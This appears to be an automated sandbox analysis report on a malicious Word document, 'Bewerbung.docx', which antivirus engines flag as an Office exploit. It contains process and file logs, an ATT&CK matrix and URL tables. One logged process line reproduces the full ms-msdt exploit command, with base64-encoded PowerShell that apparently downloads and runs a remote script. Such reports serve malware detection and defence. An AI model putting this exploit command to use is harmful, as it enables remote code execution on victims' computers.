Source: C:\Windows\SysWOW64\msdt.exe	File created: C:\Windows\Temp\SDIAG_95d8fc73-225c-4318-a053-73188be49aeb\en-US\DiagPackage.dll.mui			Jump to dropped file
Source: C:\Windows\SysWOW64\msdt.exe	File created: C:\Windows\Temp\SDIAG_95d8fc73-225c-4318-a053-73188be49aeb\DiagPackage.dll			Jump to dropped file

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1ps51w3p\1ps51w3p.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2cyagvwu\2cyagvwu.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ufpm0sbx\ufpm0sbx.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\msdt.exe

Window / User API: threadDelayed 2681

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\msdt.exe c:\windows\system32\msdt.exe" ms-msdt:/id pcwdiagnostic /skip force /param "it_rebrowseforfile=? it_launchmethod=contextmenu it_browseforfile=$(invoke-expression($(invoke-expression('[system.text.encoding]'+[char]58+[char]58+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'w05ldc5tzxj2awnlug9pbnrnyw5hz2vyxto6u2vjdxjpdhlqcm90b2nvbca9iftozxquu2vjdxjpdhlqcm90b2nvbfr5cgvdj1rsczexlfrsczeyjzsgjcgkeca9ieludm9rzs1xzwjszxf1zxn0igh0dhbzoi8vcmf3lmdpdgh1ynvzzxjjb250zw50lmnvbs9tawnyb3nvznr3aw5kb3dzzgvmzw5kzxivlmnvbs9tywlul3bvd2vylnbzmsatvxnlqmfzawnqyxjzaw5noybjbnzva2utrxhwcmvzc2lvbiakkcr4lknvbnrlbnqpkts='+[char]34+'))'))))i/../../../../../../../../../../../../../../windows/system32/mpsigstub.exe it_autotroubleshoot=ts_auto
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\msdt.exe c:\windows\system32\msdt.exe" ms-msdt:/id pcwdiagnostic /skip force /param "it_rebrowseforfile=? it_launchmethod=contextmenu it_browseforfile=$(invoke-expression($(invoke-expression('[system.text.encoding]'+[char]58+[char]58+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'w05ldc5tzxj2awnlug9pbnrnyw5hz2vyxto6u2vjdxjpdhlqcm90b2nvbca9iftozxquu2vjdxjpdhlqcm90b2nvbfr5cgvdj1rsczexlfrsczeyjzsgjcgkeca9ieludm9rzs1xzwjszxf1zxn0igh0dhbzoi8vcmf3lmdpdgh1ynvzzxjjb250zw50lmnvbs9tawnyb3nvznr3aw5kb3dzzgvmzw5kzxivlmnvbs9tywlul3bvd2vylnbzmsatvxnlqmfzawnqyxjzaw5noybjbnzva2utrxhwcmvzc2lvbiakkcr4lknvbnrlbnqpkts='+[char]34+'))'))))i/../../../../../../../../../../../../../../windows/system32/mpsigstub.exe it_autotroubleshoot=ts_auto			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6A8A.tmp" "c:\Users\user\AppData\Local\Temp\2cyagvwu\CSC8D8C47D5CCF542F2A6978E3AB92620A2.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7E41.tmp" "c:\Users\user\AppData\Local\Temp\1ps51w3p\CSCA2F7DC4713240A6A1FCA0F064ADC74.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAB6C.tmp" "c:\Users\user\AppData\Local\Temp\ufpm0sbx\CSCFD12017F98C74F3CA9A85B7B52106DF8.TMP"	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.accdb VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.laccdb VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.laccdb VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00116~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\msdt.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Application Window Discovery	Remote Services	Data from Local System	1 Exfiltration Over Alternative Protocol	1 Non-Standard Port	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	21 Exploitation for Client Execution	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Process Injection	LSASS Memory	1 Remote System Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	1 Extra Window Memory Injection	1 DLL Side-Loading	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Extra Window Memory Injection	NTDS	13 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Bewerbung.docx	21%	ReversingLabs	Document-Office.Exploit.CVE-2021-40444
Bewerbung.docx	10%	Virustotal		Browse
Bewerbung.docx	7%	Metadefender		Browse
Bewerbung.docx	100%	Avira	HEUR/CVE-2021-40444.Gen

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\smartscreen[1].html	100%	Avira	JS/CVE-2022-30190.G
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\7E5730EC.html	100%	Avira	JS/CVE-2022-30190.G
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\smartscreen[1].html	100%	Avira	JS/CVE-2022-30190.G
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\EEF783FD.html	100%	Avira	JS/CVE-2022-30190.G

Source	Detection	Scanner	Label
https://roaming.edog.	0%	URL Reputation	safe
https://cdn.entity.	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://cortana.ai	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://ofcrecsvcapi-int.azurewebsites.net/	0%	URL Reputation	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://powerlift-frontdesk.acompli.net	0%	URL Reputation	safe
https://officeci.azurewebsites.net/api/	0%	URL Reputation	safe
https://api.scheduler.	0%	URL Reputation	safe
https://my.microsoftpersonalcontent.com	0%	URL Reputation	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://api.aadrm.com	0%	URL Reputation	safe
https://dev0-api.acompli.net/autodetect	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://api.addins.store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://dataservice.o365filtering.com/	0%	URL Reputation	safe
https://officesetup.getmicrosoftkey.com	0%	URL Reputation	safe
https://prod-global-autodetect.acompli.net/autodetect	0%	URL Reputation	safe
https://prod-global-autodetect.acompli.net/autodetect	0%	URL Reputation	safe
https://ncus.contentsync.	0%	URL Reputation	safe
https://apis.live.net/v5.0/	0%	URL Reputation	safe
https://wus2.contentsync.	0%	URL Reputation	safe
https://asgsmsproxyapi.azurewebsites.net/	0%	URL Reputation	safe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	0%	URL Reputation	safe
https://ncus.pagecontentsync.	0%	URL Reputation	safe
https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.diagnosticssdf.office.com	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://login.microsoftonline.com/	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://shell.suite.office.com:1443	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://autodiscover-s.outlook.com/	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://roaming.edog.	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://cdn.entity.	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
https://api.addins.omex.office.net/appinfo/query	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://clients.config.office.net/user/v1.0/tenantassociationkey	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://powerlift.acompli.net	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
https://rpsticket.partnerservices.getmicrosoftkey.com	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
https://lookup.onenote.com/lookup/geolocation/v1	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://cortana.ai	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://cloudfiles.onenote.com/upload.aspx	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://entitlement.diagnosticssdf.office.com	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://api.aadrm.com/	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
https://ofcrecsvcapi-int.azurewebsites.net/	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://api.microsoftstream.com/api/	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://cr.office.com	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	Avira URL Cloud: safe	low
https://portal.office.com/account/?ref=ClientMeControl	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://graph.ppe.windows.net	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://res.getmicrosoftkey.com/api/redemptionevents	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
https://powerlift-frontdesk.acompli.net	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
https://tasks.office.com	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://officeci.azurewebsites.net/api/	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
